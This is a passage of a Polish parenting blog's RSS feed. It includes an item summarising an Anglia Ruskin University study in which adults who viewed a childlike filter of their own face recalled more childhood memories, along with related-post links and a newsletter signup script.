262. <a href="https://przystanekrodzinka.pl/adhd-wzmacnia-kreatywnosc-badanie/" target="_self" rel="bookmark noopener noreferrer">ADHD wzmacnia kreatywność – odkrycie naukowców</a>
263. </h4>
264. <div class='uagb-post__text uagb-post-grid-byline'>
265. </div>
266. <div class="uagb-post__text uagb-post__cta wp-block-button">
267. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/adhd-wzmacnia-kreatywnosc-badanie/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
268. </div>
270. </article>
271. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
272. <a href="https://przystanekrodzinka.pl/co-naprawde-sprawia-ze-objadamy-sie-produktami/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="490" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami-768x490.jpeg" class="attachment-medium_large size-medium_large" alt="co sprawia ze objadamy sie produktami" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami-768x490.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami-300x191.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami-1024x653.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami-1536x980.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
273. </div>
274. <h4 class="uagb-post__title uagb-post__text">
275. <a href="https://przystanekrodzinka.pl/co-naprawde-sprawia-ze-objadamy-sie-produktami/" target="_self" rel="bookmark noopener noreferrer">Co naprawdę sprawia, że objadamy się produktami?</a>
276. </h4>
277. <div class='uagb-post__text uagb-post-grid-byline'>
278. </div>
279. <div class="uagb-post__text uagb-post__cta wp-block-button">
280. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/co-naprawde-sprawia-ze-objadamy-sie-produktami/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
281. </div>
283. </article>
284. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
285. <a href="https://przystanekrodzinka.pl/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="432" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd-768x432.jpeg" class="attachment-medium_large size-medium_large" alt="paracetamol w ciazy a ryzyko autyzmu adhd" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd-768x432.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd-300x169.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd-1024x576.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd-1536x864.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
286. </div>
287. <h4 class="uagb-post__title uagb-post__text">
288. <a href="https://przystanekrodzinka.pl/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd/" target="_self" rel="bookmark noopener noreferrer">Paracetamol w ciąży może zwiększać ryzyko autyzmu</a>
289. </h4>
290. <div class='uagb-post__text uagb-post-grid-byline'>
291. </div>
292. <div class="uagb-post__text uagb-post__cta wp-block-button">
293. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
294. </div>
296. </article>
297. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
298. <a href="https://przystanekrodzinka.pl/autyzm-cena-za-ludzka-inteligencje/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="576" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie-768x576.jpeg" class="attachment-medium_large size-medium_large" alt="autyzm ewolucja ludzkiego mozgu badanie" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie-768x576.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie-300x225.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie-1024x768.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie-1536x1152.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/autyzm-ewolucja-ludzkiego-mozgu-badanie.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
299. </div>
300. <h4 class="uagb-post__title uagb-post__text">
301. <a href="https://przystanekrodzinka.pl/autyzm-cena-za-ludzka-inteligencje/" target="_self" rel="bookmark noopener noreferrer">Autyzm ceną za ludzką inteligencję?</a>
302. </h4>
303. <div class='uagb-post__text uagb-post-grid-byline'>
304. </div>
305. <div class="uagb-post__text uagb-post__cta wp-block-button">
306. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/autyzm-cena-za-ludzka-inteligencje/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
307. </div>
309. </article>
310. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
311. <a href="https://przystanekrodzinka.pl/mutacje-w-spermie-wiek-ojca-badanie/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="432" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8o_lkmpo8ug-768x432.jpg" class="attachment-medium_large size-medium_large" alt="a close up of a blue and purple structure" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8o_lkmpo8ug-768x432.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8o_lkmpo8ug-300x169.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8o_lkmpo8ug-1024x576.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8o_lkmpo8ug-1536x864.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/8o_lkmpo8ug.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
312. </div>
313. <h4 class="uagb-post__title uagb-post__text">
314. <a href="https://przystanekrodzinka.pl/mutacje-w-spermie-wiek-ojca-badanie/" target="_self" rel="bookmark noopener noreferrer">Wiek ojca a mutacje w spermie: nowe odkrycie naukowców</a>
315. </h4>
316. <div class='uagb-post__text uagb-post-grid-byline'>
317. </div>
318. <div class="uagb-post__text uagb-post__cta wp-block-button">
319. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/mutacje-w-spermie-wiek-ojca-badanie/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
320. </div>
322. </article>
323. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
324. <a href="https://przystanekrodzinka.pl/cesarskie-ciecie-bol-zaburzenia-snu-matki/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/cesarskie-ciecie-bol-zaburzenia-snu-matki-768x512.jpeg" class="attachment-medium_large size-medium_large" alt="cesarskie ciecie bol zaburzenia snu matki" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/cesarskie-ciecie-bol-zaburzenia-snu-matki-768x512.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/cesarskie-ciecie-bol-zaburzenia-snu-matki-300x200.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/cesarskie-ciecie-bol-zaburzenia-snu-matki-1024x683.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/cesarskie-ciecie-bol-zaburzenia-snu-matki-1536x1024.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/cesarskie-ciecie-bol-zaburzenia-snu-matki.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
325. </div>
326. <h4 class="uagb-post__title uagb-post__text">
327. <a href="https://przystanekrodzinka.pl/cesarskie-ciecie-bol-zaburzenia-snu-matki/" target="_self" rel="bookmark noopener noreferrer">Cesarskie cięcie a problemy ze snem u mamy</a>
328. </h4>
329. <div class='uagb-post__text uagb-post-grid-byline'>
330. </div>
331. <div class="uagb-post__text uagb-post__cta wp-block-button">
332. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/cesarskie-ciecie-bol-zaburzenia-snu-matki/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
333. </div>
335. </article>
336. </div>
338.  
339.  
340. <figure class="wp-block-image aligncenter size-large"><a href="https://przystanekrodzinka.pl/dziecieca-ciekawosc/"><img loading="lazy" decoding="async" width="1024" height="499" src="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-1024x499.jpg" alt="Dziecieca ciekawosc blok 1" class="wp-image-74388" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-1024x499.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-300x146.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-768x374.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2-1536x749.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/Dziecieca-ciekawosc-blok-2.jpg 1680w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>
341.  
342.  
343.  
344. <figure class="wp-block-image aligncenter size-large"><a href="https://www.instagram.com/przystanekrodzinka/"><img loading="lazy" decoding="async" width="1024" height="409" src="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-1024x409.jpg" alt="obserwuj przystanek rodzinka instagram 2" class="wp-image-74387" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-1024x409.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-300x120.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-768x307.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2-1536x613.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2024/03/obserwuj-przystanek-rodzinka-instagram-2.jpg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>
345.  
346.  
347.  
348. <figure class="wp-block-image aligncenter size-large"><a href="https://www.facebook.com/przystanekrodzinka/" target="_blank" rel="noreferrer noopener"><img loading="lazy" decoding="async" width="1024" height="449" src="https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-1024x449.jpg" alt="polub przystanek rodzinka facebook" class="wp-image-21763" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-1024x449.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-300x132.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-768x337.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook-1536x674.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2021/09/polub-przystanek-rodzinka-facebook.jpg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></figure>
349. <p>Artykuł <a href="https://przystanekrodzinka.pl/swiatlo-w-sypialni-szkodzi-sercu-dziecka/">Światło w sypialni szkodzi sercu dziecka</a> pochodzi z serwisu <a href="https://przystanekrodzinka.pl">Przystanek Rodzinka - blog parentingowy o dzieciach okiem logopedki</a>.</p>
350. ]]></content:encoded>
354. </item>
355. <item>
356. <title>Jak odblokować zapomniane wspomnienia z wczesnego dzieciństwa</title>
357. <link>https://przystanekrodzinka.pl/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa/</link>
359. <dc:creator><![CDATA[Maria Rybak]]></dc:creator>
360. <pubDate>Thu, 06 Nov 2025 12:24:26 +0000</pubDate>
361. <category><![CDATA[aktualnosci]]></category>
362. <guid isPermaLink="false">https://przystanekrodzinka.pl/?p=86824</guid>
363.  
364. <description><![CDATA[<p>Zmiana sposobu, w jaki widzimy własne ciało, może odblokować wspomnienia z wczesnego dzieciństwa – nawet te, które wydawały się na zawsze zapomniane. Naukowcy z Anglia Ruskin University pokazali, że dorośli, którzy przez kilka minut patrzyli na dziecięcą wersję własnej twarzy, przypominali sobie znacznie więcej szczegółów z pierwszych lat życia. To pierwsze badanie dowodzące, że pamięć autobiograficzna jest ściśle związana z tym, jak postrzegamy własne ciało. Czy ta technika mogłaby pomóc w przywracaniu wspomnień u osób z problemami pamięciowymi?</p>
365. <p>Artykuł <a href="https://przystanekrodzinka.pl/jak-odblokowac-zapomniane-wspomnienia-z-dziecinstwa/">Jak odblokować zapomniane wspomnienia z wczesnego dzieciństwa</a> pochodzi z serwisu <a href="https://przystanekrodzinka.pl">Przystanek Rodzinka - blog parentingowy o dzieciach okiem logopedki</a>.</p>
366. ]]></description>
367. <content:encoded><![CDATA[
368. <p class="has-ast-global-color-6-background-color has-background">Nowe badanie opublikowane w Scientific Reports sugeruje, że krótkotrwała zmiana sposobu postrzegania własnego ciała może ułatwić przypominanie sobie autobiograficznych wspomnień, w tym tych z wczesnego dzieciństwa. To pierwsze tego typu odkrycie pokazujące, że dorośli mogą skuteczniej sięgać do odległych wspomnień po tymczasowym zobaczeniu siebie z dziecięcą wersją własnej twarzy.</p>
369.  
370.  
371.  
372. <h2 class="wp-block-heading">Jak iluzja twarzy łączy umysł z ciałem</h2>
373.  
374.  
375.  
376. <p>Badanie przeprowadzili neuronaukowcy z Anglia Ruskin University w Cambridge, angażując 50 dorosłych ochotników. Eksperyment wykorzystywał technikę znaną jako &#8220;iluzja wtopienia&#8221; (enfacement illusion), która sprawia, że ludzie zaczynają odczuwać obcą twarz widzianą na ekranie jako własne odbicie.</p>
377.  
378.  
379.  
380. <p>Każdy uczestnik oglądał na żywo wideo własnej twarzy, którą cyfrowo zmodyfikowano filtrem, by przypominała ich wygląd z dzieciństwa. Gdy uczestnicy poruszali głową, obraz na ekranie odzwierciedlał te ruchy, tworząc wrażenie, że dziecięca twarz rzeczywiście do nich należy. Grupa kontrolna przeszła przez tę samą procedurę, ale widziała swoją niezmienioną dorosłą twarz.</p>
381.  
382.  
383.  
384. <p>Po zakończeniu iluzji uczestnicy wzięli udział w wywiadzie mającym na celu wywołanie wspomnień zarówno z wczesnego życia, jak i z ostatniego roku.</p>
385.  
386.  
387.  
388. <h2 class="wp-block-heading">Wyraźny wzrost liczby przypominanych szczegółów z dzieciństwa</h2>
389.  
390.  
391.  
392. <p>Badacze zmierzyli, ile detali uczestnicy uwzględniali, opisując swoje epizodyczne wspomnienia autobiograficzne. To właśnie ten rodzaj wspomnień pozwala człowiekowi mentalnie przeżyć ponownie przeszłe doświadczenia i &#8220;cofnąć się w czasie&#8221; we własnym umyśle.</p>
393.  
394.  
395.  
396. <p>Wyniki pokazały, że osoby, które widziały młodszą wersję siebie, przypominały sobie znacznie więcej szczegółowych wydarzeń z dzieciństwa niż te, które oglądały swoją zwykłą dorosłą twarz. To pierwsze dowody na to, że subtelne zmiany w postrzeganiu własnego ciała mogą wpływać na głębokość dostępu do odległych wspomnień.</p>
397.  
398.  
399.  
400. <h2 class="wp-block-heading">Odkrywanie związku między ciałem a pamięcią w mózgu</h2>
401.  
402.  
403.  
404. <p>Według badaczy to odkrycie rzuca nowe światło na to, jak percepcja ciała oddziałuje z pamięcią. Może to w przyszłości prowadzić do nowych metod dostępu do zapomnianych lub trudno dostępnych wspomnień, w tym tych z okresu zwanego &#8220;amnezją dziecięcą&#8221;, która zazwyczaj obejmuje pierwsze lata życia.</p>
405.  
406.  
407.  
408. <p>Główny autor badania, dr Utkarsh Gupta, który przeprowadził je podczas doktoratu na Anglia Ruskin University, a obecnie pełni funkcję badacza w dziedzinie neuronauki poznawczej na University of North Dakota, wyjaśnił: &#8220;Wszystkie wydarzenia, które pamiętamy, to nie tylko doświadczenia zewnętrznego świata, ale także doświadczenia naszego ciała, które jest zawsze obecne.&#8221;</p>
409.  
410.  
411.  
412. <p>Badacz dodał: &#8220;Odkryliśmy, że tymczasowe zmiany w cielesnym ja, konkretnie wcielenie się w dziecięcą wersję własnej twarzy, mogą znacząco ułatwić dostęp do wspomnień z dzieciństwa. Może to wynikać z faktu, że mózg koduje informacje o ciele jako część szczegółów wydarzenia. Ponowne wprowadzenie podobnych wskazówek cielesnych może pomóc nam odzyskać te wspomnienia, nawet dekady później.&#8221;</p>
413.  
414.  
415.  
416. <h2 class="wp-block-heading">Ponowne wyobrażenie siebie by odwiedzić przeszłość</h2>
417.  
418.  
419.  
420. <p>Profesor Jane Aspell, kierująca Self &amp; Body Lab na Anglia Ruskin University i współautorka badania, dodała: &#8220;Kiedy powstawały nasze wspomnienia z dzieciństwa, mieliśmy inne ciało. Zastanawialiśmy się więc: gdybyśmy mogli pomóc ludziom ponownie doświadczyć aspektów tamtego ciała, czy moglibyśmy pomóc im przypomnieć sobie wspomnienia z tamtego czasu?&#8221;</p>
421.  
422.  
423.  
424. <p>Profesor Aspell kontynuowała: &#8220;Nasze odkrycia sugerują, że cielesne ja i pamięć autobiograficzna są ze sobą powiązane, ponieważ tymczasowe zmiany w doświadczeniu cielesnym mogą ułatwić dostęp do odległych wspomnień autobiograficznych.&#8221;</p>
425.  
426.  
427.  
428. <p>Co więcej, badaczka podkreśliła praktyczny potencjał odkrycia: &#8220;Te wyniki są naprawdę ekscytujące i sugerują, że dalsze, bardziej wyrafinowane iluzje cielesne mogłyby być używane do odblokowywania wspomnień z różnych etapów naszego życia – być może nawet z wczesnego niemowlęctwa. W przyszłości możliwe będzie nawet zaadaptowanie iluzji, by stworzyć interwencje, które mogłyby wspomóc przypominanie u osób z zaburzeniami pamięci.&#8221;</p>
429.  
430.  
431.  
432. <p>Warto wiedzieć, że to badanie otwiera nowe perspektywy nie tylko dla zrozumienia mechanizmów pamięci, ale także dla przyszłych zastosowań terapeutycznych. Szczególnie interesujące jest to, że mózg przechowuje nie tylko treść wydarzeń, ale także kontekst cielesny, w jakim te wydarzenia miały miejsce. Ta odkryta przez naukowców zależność może mieć znaczenie dla wsparcia rozwoju dzieci oraz dla lepszego rozumienia, jak wspomnienia kształtują się we wczesnych latach życia.</p>
433.  
434.  
435.  
436. <blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
437. <p><a href="http://dx.doi.org/10.1038/s41598-025-17963-6">Więcej informacji</a></p>
438. </blockquote>
439.  
440.  
441. <div class="convertkit-form wp-block-convertkit-form" style=""><script async data-uid="67519e85f9" src="https://przystanekrodzinka.kit.com/67519e85f9/index.js" data-jetpack-boost="ignore" data-no-defer="1" nowprocket></script></div>
442.  
443.  
444. <div class="wp-block-uagb-post-carousel uagb-post-grid  uagb-post__image-position-top uagb-post__image-enabled uagb-block-related-posts     uagb-post__arrow-outside uagb-slick-carousel uagb-post__items uagb-post__columns-2 is-carousel uagb-post__columns-tablet-2 uagb-post__columns-mobile-1 uagb-post__carousel_equal-height" data-total="2" style="">
445.  
446. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
447. <a href="https://przystanekrodzinka.pl/adhd-u-malych-dzieci-leki-zamiast-terapii/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="513" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue-768x513.jpg" class="attachment-medium_large size-medium_large" alt="orange and white medication pill" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue-768x513.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue-1024x684.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue-1536x1025.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/zhys6xn7sue.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
448. </div>
449. <h4 class="uagb-post__title uagb-post__text">
450. <a href="https://przystanekrodzinka.pl/adhd-u-malych-dzieci-leki-zamiast-terapii/" target="_self" rel="bookmark noopener noreferrer">ADHD u małych dzieci: większość dostaje leki za wcześnie</a>
451. </h4>
452. <div class='uagb-post__text uagb-post-grid-byline'>
453. </div>
454. <div class="uagb-post__text uagb-post__cta wp-block-button">
455. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/adhd-u-malych-dzieci-leki-zamiast-terapii/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
456. </div>
458. </article>
459. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
460. <a href="https://przystanekrodzinka.pl/iq-wplyw-slyszenie-halasie-badanie/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="467" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/11/sq4b_lc5eo0-e1762000367352-768x467.jpg" class="attachment-medium_large size-medium_large" alt="rozumienie mowy w hałasie" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/11/sq4b_lc5eo0-e1762000367352-768x467.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/sq4b_lc5eo0-e1762000367352-300x182.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/sq4b_lc5eo0-e1762000367352-1024x623.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/11/sq4b_lc5eo0-e1762000367352.jpg 1365w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
461. </div>
462. <h4 class="uagb-post__title uagb-post__text">
463. <a href="https://przystanekrodzinka.pl/iq-wplyw-slyszenie-halasie-badanie/" target="_self" rel="bookmark noopener noreferrer">IQ wpływa na słyszenie w hałasie – zaskakujące badanie</a>
464. </h4>
465. <div class='uagb-post__text uagb-post-grid-byline'>
466. </div>
467. <div class="uagb-post__text uagb-post__cta wp-block-button">
468. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/iq-wplyw-slyszenie-halasie-badanie/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
469. </div>
471. </article>
472. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
473. <a href="https://przystanekrodzinka.pl/nudnosci-w-ciazy-chronia-dziecko-przed-toksynami/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta-768x512.jpg" class="attachment-medium_large size-medium_large" alt="Pregnant woman&#039;s belly illuminated by sunlight." srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta-768x512.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta-1024x683.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta-1536x1024.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
474. </div>
475. <h4 class="uagb-post__title uagb-post__text">
476. <a href="https://przystanekrodzinka.pl/nudnosci-w-ciazy-chronia-dziecko-przed-toksynami/" target="_self" rel="bookmark noopener noreferrer">Nudności w ciąży chronią dziecko przed toksynami</a>
477. </h4>
478. <div class='uagb-post__text uagb-post-grid-byline'>
479. </div>
480. <div class="uagb-post__text uagb-post__cta wp-block-button">
481. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/nudnosci-w-ciazy-chronia-dziecko-przed-toksynami/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
482. </div>
484. </article>
485. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
486. <a href="https://przystanekrodzinka.pl/owoce-chronia-pluca-dzieci-przed-smogiem/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="432" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/owoce-chronia-pluca-dzieci-przed-smogiem-768x432.jpeg" class="attachment-medium_large size-medium_large" alt="owoce chronia pluca dzieci przed smogiem" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/owoce-chronia-pluca-dzieci-przed-smogiem-768x432.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/owoce-chronia-pluca-dzieci-przed-smogiem-300x169.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/owoce-chronia-pluca-dzieci-przed-smogiem-1024x576.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/owoce-chronia-pluca-dzieci-przed-smogiem-1536x864.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/owoce-chronia-pluca-dzieci-przed-smogiem.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
487. </div>
488. <h4 class="uagb-post__title uagb-post__text">
489. <a href="https://przystanekrodzinka.pl/owoce-chronia-pluca-dzieci-przed-smogiem/" target="_self" rel="bookmark noopener noreferrer">Owoce chronią płuca dzieci przed smogiem</a>
490. </h4>
491. <div class='uagb-post__text uagb-post-grid-byline'>
492. </div>
493. <div class="uagb-post__text uagb-post__cta wp-block-button">
494. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/owoce-chronia-pluca-dzieci-przed-smogiem/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
495. </div>
497. </article>
498. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
499. <a href="https://przystanekrodzinka.pl/co-naprawde-sprawia-ze-objadamy-sie-produktami/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="490" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami-768x490.jpeg" class="attachment-medium_large size-medium_large" alt="co sprawia ze objadamy sie produktami" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami-768x490.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami-300x191.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami-1024x653.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami-1536x980.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/co-sprawia-ze-objadamy-sie-produktami.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
500. </div>
501. <h4 class="uagb-post__title uagb-post__text">
502. <a href="https://przystanekrodzinka.pl/co-naprawde-sprawia-ze-objadamy-sie-produktami/" target="_self" rel="bookmark noopener noreferrer">Co naprawdę sprawia, że objadamy się produktami?</a>
503. </h4>
504. <div class='uagb-post__text uagb-post-grid-byline'>
505. </div>
506. <div class="uagb-post__text uagb-post__cta wp-block-button">
507. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/co-naprawde-sprawia-ze-objadamy-sie-produktami/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
508. </div>
510. </article>
511. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
512. <a href="https://przystanekrodzinka.pl/psy-potrafia-kategoryzowac-przedmioty-jak-male-dzieci/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/psy-kategoryzuja-przedmioty-funkcja-jak-dzieci-768x512.jpeg" class="attachment-medium_large size-medium_large" alt="psy kategoryzuja przedmioty funkcja jak dzieci" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/psy-kategoryzuja-przedmioty-funkcja-jak-dzieci-768x512.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/psy-kategoryzuja-przedmioty-funkcja-jak-dzieci-300x200.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/psy-kategoryzuja-przedmioty-funkcja-jak-dzieci-1024x683.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/psy-kategoryzuja-przedmioty-funkcja-jak-dzieci-1536x1024.jpeg 1536w, 